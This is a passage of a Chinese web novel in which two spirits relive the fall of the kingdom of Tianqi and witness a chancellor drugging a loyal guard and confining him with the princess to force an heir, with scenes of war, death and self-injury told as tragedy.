祁不为将一切收入眼底,前方已彻底望不到风疏的影子,林中只剩金陵,肩上伤口还在流血,令他面有痛色。
他慢慢走向金陵,未登场的缘故,金陵看不见他。
祁不为觑了眼他的伤势:“是个狠角色。早让你去找她,说不定还能好好聊上几句。”
他假情假意地唏嘘一番,再起身抬头看天时,四周树木笔直向上,忽生眩晕之感,不禁扶住身旁高树。
接下去发生的一切,令他瞠目结舌——树木绿叶迅速变黄、飘零、覆上白雪,又抽嫩叶再变茂盛。
仿佛眨眼间过了四季。
周遭移形换景,从荒山野岭到波涛江上,再到巍峨皇宫。
身边人物,形形色色,熙熙攘攘。
这是怎么了?
一下过了好多年的意思?!
另一头,易辛正在寝宫洒扫,忽觉景象花了眼,人与物来来去去,细细看去,还能发现殿内少了几个熟悉之人,多出生人。
她正惊疑不定,完全不知这是何意,以为玉瓶记忆受到干扰,这处“幻境”不稳,蓦地,四周停住。
易辛愣在原地,脑中忽然涌入许多画面。
——花信守着风疏的消息,日月过去,除去金陵受伤那回,他们再也没得到她的消息。花信终日惶惶,害怕风疏死在哪个犄角旮旯里。天启强大,曾逼问梁国,梁国却回禀风疏根本没回来。渐渐地,花信安慰自己:风疏去做个平头百姓了。
花信想将一切坦白给金陵,但破庙里,风疏却留下一言,如果金陵想不起来,不如永远忘记。
日子风平浪静,这般过了几年后,一日,粱帝去世,但震惊诸国朝野的却是一个女子登基为帝。
女子名唤风疏。
消息传来皇宫时,花信久久不能言语,再然后忽而哭了。
这一路何其艰辛,只有风疏自己知道。
可朝堂之上,大臣们却愁云满面,国师的话尤言在耳——质子风疏,身负龙气,天要亡国。
花信看得出,皇帝对此很焦灼,但她相劝无益,对方根本听不进去。因为不久又传来些陆陆续续的消息,梁国与周边邻国陷入战争,或吞并或结盟,便在天启眼皮子底下,日益强壮起来。
皇帝在朝堂上大发雷霆,声称风疏最后必定对天启宣战。花信一如即往地否认,她不相信风疏会打梁国。花信说得多了,处境也愈发艰难起来,连皇帝和对她生出了嫌隙。
宫中大部分人都认定,风疏能有今日,少不了花信的照拂,不仅带她去书院,还以增添护卫之名,让风疏习武,简而言之,花信就像风疏的“伯乐”,她一手养出了个强大的敌人。
妃嫔、宫人拜高踩低,以前从不敢寻花信麻烦,如今也时不时来她宫里撒个野。
久而久之,花信变得沉默寡言,宫门时常紧闭。
她内心依旧坚信风疏不会对梁国如何,毕竟朝贡之时,梁国从未缺席,甚至每每使臣来朝,都再三表达永结同好之意。
可皇帝心头有颗钉子,认为这些都是障眼法。随着梁国开疆扩土,天启终于坐不住了,与其等待梁国来犯,不如率先出兵!
战火起,来势汹汹。
易辛脑中强行塞了许多记忆,看到最后震惊不已,在这些走马灯般的画面里,抓住了最新的一个场景——
芸娘和杨烈坐在屋内。
那是易辛第一次也是最后一次看清,原来芸娘和杨烈是这般模样。芸娘脸上长了皱纹,但眼角眉梢依旧可以窥见当年的好样貌,杨烈身形魁梧,长相硬朗周正,看着芸娘时总是带着笑。
芸娘正替杨烈缝补衣物,做好后放在杨烈身前比划几番,最后轻轻抱住他。
“这两年,你怎的不说要和我结为夫妻了?”
杨烈没说话。
芸娘又问:“是不是看我老了,嫌弃我了?”
这时,杨烈才推开怀中芸娘,仔细端详,她确实见老了,十年岁月,悠悠而过,再貌美的脸也显了风霜。
“你老了,我不一样老了?”
芸娘笑道:“那我们凑一对儿?”
“不凑了,麻烦,就这样做个伴挺好。不必弄什么婚书契约,待我们厌倦,也好聚好散。”杨烈笑回,硬朗的面孔里流露几分温和。
芸娘眉眼一压,不高兴了,憋着口气道:“姓杨的!你怕自己死战场上,才不愿同我成亲!”
杨烈慢慢收回笑意,见她眼中有了水光,心疼不已,却固执地不答应。
这时,门外有人喊了一声。
“列队集合!”
“我走了,你快回公主身边吧,你不是最疼她了吗?看着她无恙才安心吧。”
两人默然对视,芸娘神色紧绷,安静落泪。
不知不觉间,二人的脸变成了易辛和祁不为。
易辛承载着芸娘的浓烈不舍,眼泪淌过年轻的面颊。她好像终于回神似的,猛然大吸一口气,逼得泪珠滚落。
祁不为似乎和杨烈割裂了,又或许是后者情感隐忍沉重,让他面上不显。他只很快地眨了几下眼,对面易辛却哭得脸红鼻子红,一双眼水洗过的似的,澄澈剔透。
“……”祁不为伸手在她面前晃了晃,“醒醒……别哭了。”
易辛腿软似的后退两步,匆匆擦干眼泪,说话时免不了还有些沉闷的哭腔,但属实惊讶:“忽然一下过了十年?!”
“看样子是了,”祁不为环顾四周,这是杨烈的屋子,陈设简单,却干净整洁,“……杨烈大约要死了。”
易辛震惊:“为何?”
“方才那一幕,不像生离死别?芸娘前几年不想耽误杨烈,一直不肯点头,现如今战事起,芸娘怕他死在战场上,又想结发为夫妻了。这要放在话本里,接下来应该是天人永隔了。”
易辛垂下眼,芸娘的泪痕还挂在脸上,衬得她也心有戚戚。
祁不为似有些无奈:“……这本来就是已经发生的事,不必太伤怀。”
这种道理,她自然懂得。
她仰起头问祁不为:“那……你会如何?如果杨烈牺牲……”
“我也没命了——”祁不为十分不以为意,后半句“才怪”还没出口,蓦地被易辛截住了。
“你会死?!”易辛慌张道。
祁不为被这道声音震住,不明显地往后仰了一下,只见易辛眼圈迅速变红,仿佛要沁出血似的,面上的惊惧满溢而出。
莫名的,他居然感受到了几分震慑力。
紧接着,他马上指着易辛的脸:“别哭!”
“不要对着我哭!”祁不为连连说道,“我话没说完你非要打断我,结果听岔了又对我哭!”
“我只是附在杨烈身上,他不在了,我说不准就离开这段记忆幻境了。”
易辛脸色稍霁,眉头却深深拧了起来,责备道:“不要张口闭口说自己会死。”
“是你会错了意!”祁不为瞪她,“还想哭鼻子……!”
“明明是你不好好说话,非要说成那种意思!”破天荒的,易辛竟然顶嘴了。
感受到易辛的怒气,祁不为也愣了:“你还对我发脾气……我这副身体马上就要被人取走性命——”
祁不为话没说完,忽然被易辛捂住了嘴巴:“别说了,不要乱说话——”
易辛似乎很忌讳“死”这个字和祁不为沾上联系,用了蛮力,一边捂住祁不为的嘴巴,一边想把人推出屋子,再不想听他胡言乱语。
祁不为再一次意识到,易辛是很有力气的,他竟真的被推着趔趄好几步。易辛还皱着眉,向来温和的脸挂着几分怒气,让这张脸变得愈发生动。
祁不为一边倒退,一边看着她,心中有个角落隐隐升起些许荒唐。
这个世上,能杀死他的只有易辛。可此刻,她就在眼前,对于他可能会死这件事害怕得要命。可奇怪的是,他就这么顺从易辛的力道往后退,甚至觉得易辛发怒很好玩。
祁不为刚后退着撞开门,外边景象却翻天覆地,身后熊熊烈火。
两人俱是一惊,烈焰忽而扑面,易辛眼睁睁看着祁不为骤然消失。
高温烫灼,吸进肺里的全是烟气,呛得她几欲窒息。
耳边嘈杂,火舌攀上梁木,已经烧断了几根,倾倒下来。
这是深陷火海的浩然殿!
她怎么到了这里?不及思考,芸娘重又附身,匆促大喊:“公主!公主!”
易辛随着芸娘移动而转换视线,赫然见到状若癫狂的皇帝。
皇帝手里拿着酒壶,旋身飞洒,酒液迸进火里,没有预想中的爆裂,因为火势已经太大。
“那个质子打进来了!天要亡我!天要亡我!”
“父皇!父皇……我们快逃吧。”花信扑上去,拉住皇帝,泪流满面。她已年逾三十,眼中再不复从前的灵动活泼。
皇帝甩开花信,趔趄几步,看清面前是何人,又怒指花信:“你口口声声说她不会攻打我国!可她从边陲之地,一路打进宫了!”
“天启要亡了!被你最好的朋友灭了!你自小照拂她,事事想
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着她,她便是这么回报你的!”
“你是天启的罪人!死了下地府也无颜见列祖列宗!”
皇帝越说越激动,面目狰狞。
花信心口仿佛插了一把刀,被这些话一寸寸推得更深。
她还想去拉皇帝,口中祈求道:“是……我是罪人,父皇先随我走吧,日后你想如何处置我都行……”
“你何来的颜面去逃!”皇帝从桌前抽出宝剑,“你应该拿着这把剑,捅进那质子身体里!杀不了她,就拿剑自刎!以身殉国!”
花信被剑逼得后退一步,皇帝红了眼,疯癫不止,大敌当前,再爱幺女,也不由得怒从心头起。
“你和我一起死吧,我们都没脸见列祖列宗,天启亡在我手里!还是被一个女人亡的国!荒唐!荒谬!”
皇帝面目扭曲,提剑就要去砍花信。
花信吓住了,本能躲了一下:“……父皇?!”
“你躲什么?难道不是你的错吗!”皇帝已经失了神智,再要挥剑砍人,不料绊了一跤,猛趴在地上,鼻头流血,“花信!如果没有你!风疏怎么有今天——”
花信边哭边去扶他,忽然面上如有火燎,眼前一花,顿时传来皇帝一声惨叫。
谁也没发现,梁木又倒了一根,直直砸在皇帝身上,将他砸得口鼻呕血。
“——父皇!”花信大惊失色,上前想要搬动梁木,梁木着火,一碰几乎就烫掉一层皮。花信不管不顾,使出全身力气,却不能撼动梁木分毫,耳边只闻皇帝噗噗咳血,面色涨红。
花信慌得浑身颤抖,却不敢停,她怕皇帝会死……不要,求求了,不要死!
芸娘冲上去:“公主!你的手都烫出血了!”
“芸娘!快帮帮我!我父皇被压住了!芸娘你快帮帮我!”
“公主……”芸娘心一横,“我们搬不动梁木的,逃吧……我们快逃!”
“你在说什么!不能逃!我父皇怎么办!”花信哭喊道,又固执地去搬梁木。
芸娘见她如此,也不由得破罐子破摔,和她一起搬梁木。
殿内火势渐大,二人衣摆上溅了火苗,浑然不觉,只顾做着徒劳功。
毒烟呛得人发昏,而花信却硬撑着一口气,不愿撒手,心头想着,就这样死了吧……也比逃出去苟活好……
忽然有人扳住她肩膀,迅速扒掉着火的外衣。
“走!”
花信看清是金陵,他神情疲惫,将士们不眠不休守城,最后城还是破了。
此时此刻,金陵远没有芸娘温和,冷硬强势地将人拉走。
“我不走!”花信挣扎,执拗道,“——我父皇还没走!”
“他已经死了!”金陵吼道,接着不管三七二十一,扛起花信往外跑,芸娘缀在身后。
花信愣住了,像是没明白似的,下意识寻着皇帝看去。他还压在梁木下,手向前伸,瞪大眼睛,口鼻全是血污,分明还是求生模样。
眼前忽一阵阵发白,耳边响起尖锐的嗡鸣,不知何处痛起来,好像是心里,又好像是腿脚,最后全身上下都在痛。
他们方出浩然殿,敌军已经打进来了。宫女太监乱作一团,四下逃散。
花信费力抬头,望着眼前之景,有如地狱。敌军擎着一面旗,挥刀砍杀周围尚未投降的将士。一刀又一刀,血溅出来,像瓢泼雨水。
“女帝风疏!入主天启!速速投降!”敌军大喊。
——质子风疏!身负龙气!天要亡国。
两道声音重合,花信脑子麻木一片,恍惚间,似有敌军发现他们,直冲他们而来。
“他们从天启皇帝的宫殿跑出来,身份必然非同小可!抓住他们,一定是大功一件!”
敌军被胜利冲昏了头,杀红了眼,争相抢功。
有人心急,直接掷出旗杆。花信眸光一缩,口中像塞了块石头,想说话,出口却是呜咽。
芸娘如同被人踹了一脚,直直扑向地面,旗杆穿胸而过。
花信呜咽着拍打金陵的背,啊啊不停。她想说:“芸娘受伤了,她没跟上来,快救她,她要死了,她要死了!”
“不能再死人了!我不要再死人了!救救她!”
“救命呐——救救我!”
可她一句话说不出来,金陵虽急于奔逃,但觉出花信反应异常,匆匆回首,目光凝滞。
芸娘朝他们摆摆手,作出“快跑”的口型……
金陵愣了,不自觉放慢脚步。
下一瞬,芸娘眼中的光倏忽寂灭。
21. 第二十一章
祁不为感到头疼欲裂,眼前昏暗,胃里又酸又胀,他忍住不适,昏昏沉沉间回溯过去。
意识渐渐回笼。天启城破,侍卫护卫着王公贵族和朝臣逃跑,最后大家汇合。
他见到了花信和金陵。
花信神色恍惚,苍白如纸,仿佛一戳就破,衣裙烧焦了,双手也烫出一片水泡,身上披着金陵的外衣。
天启皇帝死了,膝下的几个皇子也死得差不多,还剩两个,外加花信,便是天启全部的皇室血脉。
他还有些回不过神来,记忆似乎停留在皇帝下令追杀风疏的那些日子,风疏被追得像个过街老鼠,而天启皇帝如此威风凛凛,高高在上。
一晃十年,忽然家破人亡。
芸娘呢?对……芸娘死在皇宫里了。
这个念头像一道闪电,蓦地在脑海里炸开——易辛呢?!
混沌瞬间荡开,心口急速跳动,将他从深渊里猛推出来,猝然睁眼,犹如溺水之人般大口呼吸,名字还来不及唤出,顿觉身旁敛了一团微弱的莹莹白光。
不知为何,祁不为没有出声。脑子变得更清晰了些。杨烈知晓芸娘的离世,悲痛不已,喝酒买醉,如今正醉倒在屋前石阶下,易辛就坐在旁边,手肘搭在膝上,虚虚地望着前方,微风拂动她的鬓发,温柔又有点悲伤。
芸娘已死,她成了一道不受拘束的魂魄,跟着来到此地。
半晌,祁不为才坐起身:“你……怎么样?”
突如其来的声音让易辛愣了下,扭过头,见他正望着自己,不解道:“……什么怎么样?”
“……芸娘去世的时候,你身体可有不适?”
易辛下意识地摸了摸胸口:“不知道……能感觉到痛,但好像又不是自己身上在痛。”
但这个过程持续得很短。
“那现在感觉如何?”
“无碍了。”易辛摇摇头,“我以为会回到归墟境,没想到还是在这里。”
祁不为沉吟:“或许是,故事还没结束。”
两人一时无话,这回祁不为说不出“事情已经发生,不必伤怀”之类的话了,因为死的不是“自己”。
但他们也没能沉默太久,周遭又开始移形换景,这意味着时辰走得飞快。
二人仿佛灵魂出窍,将两三年光景看得清清楚楚。
——天启大臣不死心,寻了一处根据地,日日策划光复天启之事。花信躲在深宅,愈发沉默,犹如从苦海里捞出来,每日吃斋念佛,背负着难以卸下的罪孽。
金陵随侍在旁,看庭前花开花谢。
终有一日,当金陵半夜睡不着,于庭院中闲逛时,忽闻屋中传来啜泣。
那声音听着,似乎已经尽力压抑,却还是太过悲伤从而逸出几声。
金陵轻轻敲门:“公主?”
话音方落,屋中立时寂静,再无声息。
金陵沉默着站了片刻,又道:“公主,可以进屋吗?”
里面没有答话,金陵:“我进来了。”
门一开,花信坐在屋子中央,身披白衣,月色散入室内,衬得她像一只孤魂野鬼。面色发白,眼底鲜红,泪水糊了满脸,一只手还死死捂住嘴巴。
她似乎以为只要自己不答话,金陵便不会进来。
花信愣愣地看着金陵走近身前,紧接着低头掩面:“我……我要睡了。”
方起身,又被金陵挡住了去路。
“公主后悔放风疏出宫了吗?”
花信僵住,沉默。
“还是说,你后悔得更早,但愿从未在宫中认识她,护着她。”
花信肩膀塌着,良久,才低声道:“不知道……但我……不想风疏死……可我是不是做错了,父皇死了,国也破了……”
金陵声音很平和:“历史如洪流,你觉得以一人之力,能挡住决堤的洪水?”
花信抬头,不解。
“天启亡国,必然早有预兆,诸多因素加在一起,才能促成今日的结果。不是你,不是风疏,是每个人都做出了选择,大部分相同的选择之下,才导致了今日国破的结局。”
“大臣们接受不了这个结果,才推到你身上。你也接受不了,所以不断认为就是自己错了,但你仔细想想,风疏兼并邻国,却迟迟没对天启动手,是先帝打了第一仗。”
语罢,金陵喊了她的名字:“花信,事已至此,追究对错没有意义。不要沉湎于过去了。你这几年过得已经不成人样了!”
花信被他沉痛又严厉的语调吓住,心口泛起一阵阵的闷痛,不禁抱住头,痛苦地摇了摇:“我……做不到啊!”
说大道理是很容易的,但真正放下,太难。
金陵握住花信手腕,定定地凝视她:“你被困在这里太久了,去外面看看吧,百姓安居乐业,风疏是个好皇帝。”
“我知道,你不是那种天下为一人之天下的人,谁当皇帝对你来说无所谓,既然如此,就去看看那些大好河山,你的心结说不定就放下了。”
说到此处,金陵放缓语调:“我会和你一起走,不必忧虑,我会尽我所能,好好照顾你。”
花信本有些动摇,听到这句话时,骤然浑身冰凉。
她追向金陵的双眼,温柔、坚定、包容,里面还有些别的东西。
“你……你、喜欢我?”她问得极为艰难,甚至带了些惊惧,整个人面无血色。
金陵怔住,旋即神色不变:“如若你觉得不便,也可让侍女陪你去,我把你们送出这里就好。”
花信腿脚有些发软,被他握住的手腕烫伤了似的,立马抽了回来,不可置信地喃喃道:“怎么会……怎么会?!你为何喜欢我?你怎么能喜欢我?!”
不知她为何是那般反应,但金陵坦诚道:“你我认识这么多年,喜欢公主是什么奇怪的事么?”
他们相处太久了,从他十五六岁,到眨眼十多年。
花信负伤累累的心口,又被狠狠插了一刀,不知究竟何人编排了他们的命运,如此造化弄人。
花信固执地摇头,乍看起来疯疯癫癫的:“你不能喜欢我……不行……你一定不能喜欢我!你弄错了……你对我不是儿女私情!”
“你失忆了你知不知道!”她无力地嘶吼道,又难过哭喊,“你的心上人是风疏啊——!”
仿佛一锤头砸中了脑子,金陵脑中轰然一声,猛然回想起十多年前风疏吻过他的画面,耳边响着花信断断续续又极度压抑的回溯。
“是国师……让你忘记了这一切,”花信顿了顿,明白了什么似的,神色惊惧,“不是国师……是我,是因为我,因为我喜欢你……我错了,从头到尾都错了!”
她忽然崩溃了,一面胡言乱语,一面把已经做不出反应的金陵推出门。
易辛和祁不为面面相觑,谁也没料到事情会有这番走向。
“传闻说,人的命运由上界神仙定的,”祁不为语气带了几分
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讥诮,“那神仙一定是发了疯,才写出这种故事。”
易辛点头附和,沉默片刻后又道:“公子既然醒了,我便去看看花信了。”
如今她行动非常自由,谁也看不见她。
从祁不为那离开后,走到大臣们议事的厅堂时,易辛顿住了脚步,从敞开的窗口望去,首座是丞相李善。
他已过花甲之年,面皮虽有皱纹,看过去却精明干练得像只狐狸。
“如今皇室只剩花信公主,起事不能没有天子血脉,奈何两位皇子相继离世,但没留下子嗣。”
易辛顺着话茬回想,这两三年,皇子确实都死了。
“公主年岁渐长,不能再拖了,否则过了年纪,生不出子嗣,谁人承袭大统?”
“公主可有心仪之人?择良辰吉日替二人办个婚宴?”
“着人去问问吧。”
这时,李善捋了把胡子:“就金陵吧。先帝在时,他就是公主的侍卫,这么多年相处下来,感情总比旁人好些。”
众人无异议。
易辛惊诧不已,连忙跑去花信屋里。花信一如既往,跪在佛龛前,神色郁郁,整个人静得仿佛要沉入地府了。
“花信!大臣们在商议你和金陵的婚事!”易辛想要开口说话,但脚还未迈过门槛,忽觉一切都延长了,花信像修炼了什么术法,在屋里行动快到出现残影,天色交替几轮,从日间到夜里。
直到易辛那一脚踏上地面,她才明白过来,一下过去了几日,而她说话,花信是听不见的。
但有人进屋,替她说出了口。
“公主,离开这里!”金陵开门见山,不等花信有所反应,又道,“丞相想让你传承子嗣。趁他们还没动用强硬手段,你说自己想出门走走,然后我带你出城。”
花信满眼的不可置信,顿觉荒谬,一时呼吸不畅。金陵捏住她的双肩,沉静道:“不要怕,和平时一样,走出府邸就好了。”
花信逼回眼泪,绷着下巴点点头。
易辛跟上,见两人真出了府,状似游览街景,随后甩掉跟踪的人,再骑上早就备好的马,飞速出城。
花信一路紧绷着,直至离开城镇,眼前渐渐开阔。山野绿意盎然,马蹄踏过溪水,溅起一串串水珠,山风拂面,她仿佛从一方狭窄之地脱了出来,心不觉如同天地一般,缓缓宽广起来。
她正舒心着,金陵忽停了马,翻身下来,拍了拍绑在马侧的包袱:“里面是盘缠,公主,你走吧。”
花信有些惊讶,她以为两人至少会再跑远一点才分道扬镳。
金陵笑了笑:“天大地大,日后有缘再会。”
花信点头,嘴角终于挂上笑意,和金陵好好道别。
金陵一拍马腹,她便乘着马儿渐渐远去。
花信信马由缰,扫了包袱一眼,她记得,这是收拾给风疏的,但在破庙里,风疏没有拿走。于是她又拿回宫中,后来没再收拾,等梁国打来时,芸娘又拿上了它。
兜兜转转,一包袱的盘缠,就是用来逃命浪迹天涯的。
眼前闪过许多人,花信心中空茫,像做梦一样,似乎方才还在那逼仄的府邸,一下子又身处广阔草原,身旁一条溪水蜿蜒,陪着她一路向前,波光粼粼。
就这样了吗?花信不禁问着,泪意涌上眼底,却说不清为什么而哭。她回了头,想再看一眼老朋友,却陡然顿住。
金陵折起了颀长的身量,伏跪在地,似有不适。
22. 第二十二章
对于这番变故,易辛也措手不及,只见金陵浑身脱力似的,忽然跪在了地上,额头青筋暴起,不知忍受着什么痛苦。
他踉踉跄跄地爬起来,扑向横贯草原的溪流。溪水凉沁,他陡然将整张面庞沉入水下,五指紧紧嵌入卵石之中,泥沙翻了出来,将清澈溪水染黄。
窒息令他耳尖和脸庞涨红,但他无动于衷,仿佛不到极限,肩膀忽然被人扳起,溪水落在面上,迷朦了视线,花信近在咫尺,面色担忧,远方金阳灿烂,为她镀了层金边。
他像一只飞蛾,即将扑向眼前炙热的太阳。
“——金陵?你怎么了?”花信焦急发问。
金陵攥住她的手腕,力气极大,而后猛推向旁边,自己涉溪爬了几步,离她远些。
“……我没事,你快走,他们很快就会发现我们出城了,追上来,就再难逃出去……”
“你别睁眼说瞎话!你这样子怎么可能没事!”
花信爬起来,还想再靠近金陵,后者却受惊似的大喊一声:“别过来!”
他剧烈喘息几声,压下难耐,努力作了个温和笑意:“公主……你快走吧,我只是……肚子痛。”
“我不信!”
金陵双眼发烫,蒸得视线有些红,看花信忽远忽近,片刻之间,一阵佛香笼入鼻端,她又来了,肩膀被扶起……
后颈贴了只柔软的手,体温冰凉,于他而言,有如久旱逢甘霖,他瞬间反扑,在花信短促的叫喊声中,将她扑倒在溪水里,水花溅了满脸。
“金陵?!”
他埋进花信肩窝,扯住一块皮肉,狠狠撕咬着,舌尖尝到血腥味后,他深深吸了口气。抬起头,只见花信眼底含泪,惊慌失措,他伸手卡住花信脖颈,脸上难得一见戾色:“花信……有多远跑多远,再也不要回来了……”
“我大意中招了……你明白吗,在我身边很危险!”
花信愣愣地,又惊又怕,心底深处还有愤怒。金陵有所察觉,所以只送她半途,而她没想到朝臣手段下作,居然想强行让二人结合。
“那你……”花信想问他怎么办,药会伤身体吗,还是现在去医馆……
金陵知她心中所想,摇摇头:“我有办法……我自己就够了,你快走……要不是你折返回来,我便自己解药了……”
说罢,金陵咬紧后槽牙,翻身下来,花信连忙坐起身后退数尺,见他所言不似作假,终于决定离开,然刚刚走到马旁,草原上忽响起阵阵马蹄声。
两人回头一看,侍卫追来了,为首者正是丞相李善。
花信一惊,金陵却比她反应更快,将她扔上马,一扬马鞭,马载着她扬长而去。
“金陵——!”花信呼喊声中带着哭腔。
金陵头也不回,脑中一丝理智支撑他找准不伤及要害也不太影响行动的地方,匕首白刀进红刀出,疼痛盖住了药效,让他恢复几分行动力。
丞相抬手,侍卫下马围攻金陵。
金陵奋力厮杀,匕首打落,便夺走敌方的长刀,声声痛呼回响在耳边,血流飞溅,有自己的,也有别人的。
这几年,其实不止花信困在过去,连他也时常想不明白,为何好端端变成如今模样,就像他与这些侍卫,明明同僚,却同室操戈,他甚至与其中一些人共事许久,亦有情谊。
他还怒不可遏,丞相怎能对他下药侮辱花信。
刀光剑影中,他渐渐麻木,只剩不停地挥刀,很累,却不能停。他唯一希望的,就是花信已经跑得很远了。
恍惚间,有人角度刁钻,划过手腕,耳边清脆如击玉,瓢泼飞起的不是血水,而是散落的佛珠。
他愣了一下。
生死厮杀的瞬间,发呆便要命。
只见身后一人提刀突刺,几乎要嵌入他体内,旁里忽来一刀挡住了,刀尖在他背上划了一道。
金陵背上一痛,方回神要反击,转过头发现身旁是杨烈,后者出手快狠准,对准膝窝就是一脚,在他跪地时,抬刀横在他脖子上。
金陵身上伤口大大小小,即便如此,还不愿屈服,杨烈察觉到他的意图,用刀撇过他的下巴,视线朝旁移动,丞相身侧的花信映入眼帘。
原来早有侍卫去追花信,射箭放倒她的马,再抓人来此。
她呼喊着让金陵停手,让丞相停手,却无人听她所言。
金陵胸口一堵,激得喷出血沫,花信终于挣开侍卫,扑过去抱住他,哭喊道:“别打了……别打了,你会死的……够了,我跟他们回去……”
金陵颤巍巍地抬手揽住花信,口中带血:“……不能回去,不能回去……”
事到如今,什么也做不了。但他知道,花信不能回去,一定不能……
杨烈偏过头,不再看一对身不由己的苦命人,眼中却泛起热意,许是想起了芸娘。
祁不为借着他的视线,恰好看见人群外的易辛。
大风忽起,吹乱易辛的裙摆和鬓发,像株蒲公英,一吹就散了。
最后,队伍将两人压了回去。
无人注意杨烈,祁不为便走到易辛身旁。
易辛环顾四周,略有不解地问道:“公子有话要说?”
祁不为面不改色:“没有。”
易辛奇怪,却没多问。
两人难得的和平,她却无心细品,眉头紧紧蹙起,望着浑身渗血却被绑了一圈又一圈的金陵出神。她看不见坐在马车里的花信,但料想不会好到哪里去。
祁不为低声道:“不会死的。”
“嗯……?公子知道他的结局吗?”易辛微微偏头。
“不知道,只是看他伤势没重到无力回天的地步。”
易辛点点头。
祁不为垂眸看她:“你做什么事,都如此沉浸吗?”
“什么?”
“他们与你素未谋面,何况是早已发生之事,你应当想开些。”接着,祁不为又无心道了一句,“不知道的,以为他们里面谁是你的旧识,才叫你伤神至此。”
易辛僵住:“我跟在花信身边许久,不免对她有些感情……”
算搪塞,也算实话。
祁不为语调平淡:“回去了就呆在我屋子里,哪也别去。”
“花信会出事吗?”易辛敏锐,一下子就明白他话里有话。
“金陵敢带花信逃跑,你觉得李善会放过他们?”
话落,易辛偏头的幅度大了些,对上祁不为低垂的目光。
祁不为:“……”
祁不为:“你对我生气做什么?又不是我对花信和金陵耍手段,你这叫迁怒!还有,我让你不要找她,也是叫你少看少伤心!可别不识好人心!”
最后一句,听来有些咬牙切齿。
她闷闷应声,低了头,又重新看回前方,耳边忽闻祁不为一声嘀咕。
“……对别人这么容易心软。”
——怎么对他就那么狠心,杀他的时候,可一点不手软。
祁不为抿了抿嘴角,神色不禁有些郁郁。
侍卫将金陵扔进房里,他咬紧牙关,吞下闷哼,躺过的地面洇出血迹。
花信慌张地扶起金陵:“……你没事吧?”
再转头看向门口的李善:“丞相,我已经回来了,我会听话的……快去请大夫来看看他!”
李善一挥手,身后有人端了药来,他望着金陵笑了笑:“药早就备好了。”
花信顿时脸色发白,手指发抖:“……不是这种药!我要看病治伤的大夫!”
“等你们行了房,自然有人替他看病,公主心若够狠,就眼睁睁看着他去死吧。”
“——李善!”花信震怒。
“你们何必呢,”李善摇头笑道,“郎有情妾有意,我行了一桩好姻缘,你们应当感激我。”
话落,他又看向死死盯住自己的金陵,不紧不慢道:“你想去死,我也不拦你。只是你要知道,公主只有一个,但男人多的是。”
闻言,两人俱是一惊,气得浑身发颤。
“李善!你对皇室不敬!天打雷劈!不得好死!”金陵大吼道。
这句话似把李善惹怒了,他一振衣袖,怒道:“真正对皇室不敬的是花信!你享荣华富贵,锦衣玉食,却不愿延续皇家血脉!你愧对皇家列祖列宗!”
“你一介女子,我们举朝臣之力供着你,关键时候,你还不想承担责任!你才应当天打雷劈!”
“不管如何,是金陵或是旁人,你都要为皇家诞出一个男婴!”
一番话后,李善敛住怒意,面色阴沉冰冷,抬手示意余人行动。
侍卫进来拖开花信,摁住金陵,蛮横灌药。一旦遭遇抵抗,就毫不手软地按住他身上的伤口,一碗药洒了大半,便又灌一碗。
花信浑身发凉,头脑又激得发热,怒意从天灵盖窜至脊髓,再一路向下,冷热交替,气得耳边嗡鸣。忽有人拉过她的手,朦胧中,花信见一仆妇,那人笑着,温声软语:“公主,不知从前宫中是否有人教过,今日我再嘱咐您两遍……”
仿佛有人用针扎花信的耳朵、心口、脸庞,屈辱蔓延全身,周围全是人,自己像没穿衣服,又像被人围观着行苟且之事。
“滚!滚!滚!”她怒而推开仆妇,状似癫狂,还没如何发作,脸上骤然一痛,脚下绊倒门槛,跌了进去。
“——啪!”
一声响亮的巴掌过后,周遭都静了,连灌药的人也是。
李善:“公主,我们已经集结先帝旧部,只要你怀上皇族血脉,我们便预备起事。”
“这些事很重要,你没有选择的余地,只能听从吩咐。”
李善踏入屋内,蹲在花信身旁,低语:“看在先帝的份上,我留你到现在,你真以为孕育皇嗣非你不可吗?随便拉个女人,对外宣称她就是花信公主也可以。做人,要懂得识时务。”
说罢,李善和余人皆退出屋子,并在门外上了锁。
“公主,只要你满足了臣等的愿望,臣等也会满足你,到时自然请来最好的大夫救治金陵。”
脚步声响起,屋外的人走远了。
花信愣了好半晌,慢慢坐起身,怕冷似的抱紧自己,眼眶发红,却流不出泪了。
她动也不动,好像灵魂都抽空了。
金陵的声音隐隐约约。
花信虽看不见,但金陵咬紧牙关,竭力抑制身上的颤抖,郑重地跪在地上,认真行起叩拜大礼:“公主,千金之躯,断不可冒犯……属下本应挥刀自宫……但李善小人若是察觉再遣他人……在公主未脱困之前,请留属下一条贱命,与你演戏蒙混小人之眼……我一定会让你离开此地……届时必定以死谢罪!”
花信并未回应,屋内寂静,不久传出衣料摩挲之响,再有虚浮的脚步声,他远离了自己,似乎去到了离她最远的地方。
好像又弥漫出了更多的血腥味,痛苦盖住了一切。
花信坐在原地,一动不动,渐渐捂住面目。
一方室内,两人各自陷入无边无际的沉默,她双手插入发中,紧紧拉拽着,眼底被愤恨染得通红。
日头西沉,昏暗涌入屋内,像淹没两人的死水。
凉意攀上四肢,花信渐渐回神,好像忽然意识到这里安静了许久,静得不同寻常。
她扶着扇门起身,想开口说话,最后还是默默转了身。
地上皆是血衣,时辰一久,泛上褐色,再往前看,被褥里裹住一团,不见头脚,却有血迹洇出。
麻木消退些许,花信喉咙紧了紧,喊了一声“金陵”,话一出口,像只蚊子。她咽了咽口水,再喊几声,无人应答。
花信掐住掌心,屏住呼吸,轻轻掀开被褥。
金陵发丝凌乱,褪得只剩被刀划烂的里衣,身下一滩血污,血腥气之浓郁,扑面而来。
而他脸色,青白交加,像是刚刚死去。
“金陵……金陵?”
那声音似被掐住了喉咙,花信强迫自己镇定,伸手去摸他的呼吸。
还好……还有气息……
“金陵?金陵!”她放大了声音,刚想呼人来救,金陵却醒了。
他睁开眼,眸光灰败,眨了眨,才凝出一点光:“先不要喊人……把血抹到身上……里衣外套都要……”
“衣冠要乱……”
这样他们才不会怀疑。
花信顿住,愣愣地看着金陵,后者虚虚望着某处,就是没看她。
金陵声音虚弱:“对不起……公主,多有冒犯……”
花信说不出话,只能再次掐紧掌心,咬住嘴巴里的软肉,才能不至尖叫出来。她依言照做,最后把扇门拍得震天响。
“来人!来人!人都死了吗!”
“李善!我要大夫!给我找大夫!”
没拍一会儿,门从外打开,先前那仆妇来了,身后跟着侍卫。
仆妇一句话不说,把花信推得后退几步,审视般对着她细细打量,见她整个人都有些乱,衣衫上又染了好几处血痕,才算满意一笑。
